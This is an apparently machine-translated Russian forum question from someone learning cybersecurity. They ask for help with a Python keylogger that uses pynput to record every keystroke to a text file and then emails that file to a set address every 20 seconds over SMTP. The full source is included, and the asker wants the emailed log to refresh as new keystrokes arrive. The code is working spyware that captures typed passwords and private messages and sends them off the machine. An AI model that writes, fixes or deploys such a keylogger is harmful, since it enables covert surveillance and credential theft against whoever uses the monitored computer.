Я занимался кибербезопасностью и проводил некоторые исследования по инструментам мониторинга родительского контроля и подумал, что регистратор ключей / отправитель электронной почты будет хорошим проектом, чтобы научиться создавать.
Итак, мой код правильно отправляет электронное письмо, а также отправляет сгенерированный текстовый файл в виде вложения.
Проблемы, с которыми я сталкиваюсь и нуждаюсь в помощи: 1. Когда регистратор ключей продолжает регистрировать нажатия клавиш, вложение электронной почты не обновляет файл, оно просто отправляет исходный файл по первоначальному пути.
Я хотел бы создать способ поиска пути к текстовому файлу, принадлежащему функции регистрации ключей, из функции электронной почты.Другими словами, я не хочу жестко кодировать путь к файлу, в котором электронная почта должна искать вложение.
Если есть лучший способ сделать это, яЯ все уши, как я учусь.Один из способов, который я подумал, - просто прочитать содержимое нажатий клавиш в открытый файл, связанный с отправкой по электронной почте, но я не уверен, как это сделать.Мой код ниже.Спасибо!
Я использую последнюю версию Python для Windows.3.x
from pynput.keyboard import Key, Listener
import logging
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders
import time
import threading
def main():
def logger():
logging.basicConfig(filename=("" + "key_log.txt"),
level=logging.DEBUG, format='%(asctime)s: %(message)s')
def on_press(key):
logging.info(str(key))
with Listener(on_press=on_press) as listener:
listener.join()
def mail():
email_user = 'youremail@email.com'
email_password = 'password'
email_send = 'theiremail@email.com'
subject = 'Test'
#Creating message object for email. Tying message object to
variables above.
msg = MIMEMultipart()
msg['From'] = email_user
msg['To'] = email_send
msg['Subject'] = subject
#Actual message.
body = 'Hi there, sending this email from Python!'
#Attach a file
msg.attach(MIMEText(body,'plain'))
#File path needs double slash here. Filename is reference variable to
file location
filename='C:\\Users\\JamesLaptop\\Desktop\\Python\\key_log.txt'
#create attachment variable, open, filename and
attachment=open(filename,'rb')
part = MIMEBase('application','octet-stream')
part.set_payload((attachment).read())
encoders.encode_base64(part)
part.add_header('Content-Disposition',"attachment; filename=
"+filename)
msg.attach(part)
text = msg.as_string()
server = smtplib.SMTP(host = 'smtp.mail.yahoo.com', port = 587)
server.starttls()
server.login(email_user,email_password)
#send message
while True:
try:
server.sendmail(email_user,email_send,text)
print("Success")
time.sleep(20)
except Exception:
print("Message failed to send")
server.quit()
w = threading.Thread(target = logger)
w2 = threading.Thread(target = mail)
w.start()
w2.start()
main()